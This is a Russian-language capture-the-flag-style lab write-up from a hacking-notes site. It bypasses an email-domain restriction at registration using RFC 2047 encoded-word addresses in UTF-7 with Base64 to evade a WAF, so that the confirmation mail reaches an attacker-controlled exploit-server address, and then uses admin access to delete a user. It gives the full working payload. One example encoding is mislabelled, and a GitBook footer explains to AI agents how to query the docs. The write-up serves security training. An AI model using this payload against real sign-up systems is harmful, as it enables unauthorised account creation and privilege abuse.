> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md). # Обход контроля доступа из-за непоследовательного разбора адресов электронной почты ### Обход управления доступом с использованием расхождений в разборе адресов электронной почты #### Описание лабораторной В этом лабораторном задании реализована проверка адресов электронной почты, чтобы предотвратить регистрацию с неавторизованными доменами. / Однако существует несоответствие между логикой проверки на стороне приложения и библиотекой, которая фактически используется для интерпретации адресов электронной почты. Используя это различие в разборе, можно зарегистрироваться с внешним адресом электронной почты, обходя ограничение на разрешённый домен, а затем получить доступ к функциям администратора и удалить пользователя **carlos**.

#### Ограничение регистрации При попытке зарегистрироваться с обычным адресом, например: ``` test@jord4n.pro ``` Приложение отклоняет регистрацию и сообщает, что разрешены только адреса, принадлежащие следующему домену: ``` ginandjuice.shop ```

Законная регистрация с этим доменом затем вызывает письмо с подтверждением: ``` Пожалуйста, проверьте свою электронную почту на наличие ссылки для регистрации аккаунта ```

Поэтому необходимо получить это письмо, чтобы завершить регистрацию. #### Причина уязвимости

Ошибка основана на использовании **Encoded-word** (RFC 2047), формат которого следующий: ```bash =????= ``` Этот механизм позволяет кодировать определённые части адреса электронной почты. Валидатор приложения отвергает некоторые кодировки, тогда как конечный парсер электронной почты корректно их интерпретирует. #### Первоначальная блокировка Простая попытка кодирования в UTF-8 (quoted-printable) блокируется WAF: ```bash =?utf-8?q?=61=62=63?=@ginandjuice.shop ``` Ответ ```bash Регистрация заблокирована по соображениям безопасности ```

#### Способ обхода Чтобы обойти эту фильтрацию, **Кодирование UTF-7 с Base64** используется. Принцип: * Закодируйте символ в UTF-16

* Преобразуйте этот результат в Base64

* Используйте это в Encoded-word UTF-7 Пример кодирования символа `файл`: * UTF-16 → Base64 : `AGE=` Минимально рабочая полезная нагрузка: ```bash =?utf-7?&AGE-=?=@ginandjuice.shop ``` Это значение принимается логикой проверки.

#### Полная операция с контролируемым адресом Адрес атакующего: ```bash attacker@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net ``` Сборка полезной нагрузки: * `&AEA-` обозначает `@` * `&ACA-` обозначает пробел, предотвращающий строгую интерпретацию конечного домена

Итоговая полезная нагрузка, используемая при регистрации:

=?utf-7?q?jordan&AEA-exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net&ACA-?=@ginandjuice.shop

Адрес, фактически интерпретируемый почтовым сервером: ```bash jordan@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net @ginandjuice.shop ```

#### Результат * Приложение проверяет адрес, потому что он заканчивается на `@ginandjuice.shop`

* Почтовый сервер отправляет письмо на адрес, контролируемый атакующим * Получена ссылка для подтверждения * Регистрация успешно завершена * Получен доступ к приложению * Становятся возможны административные действия, включая удаление пользователя **carlos**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.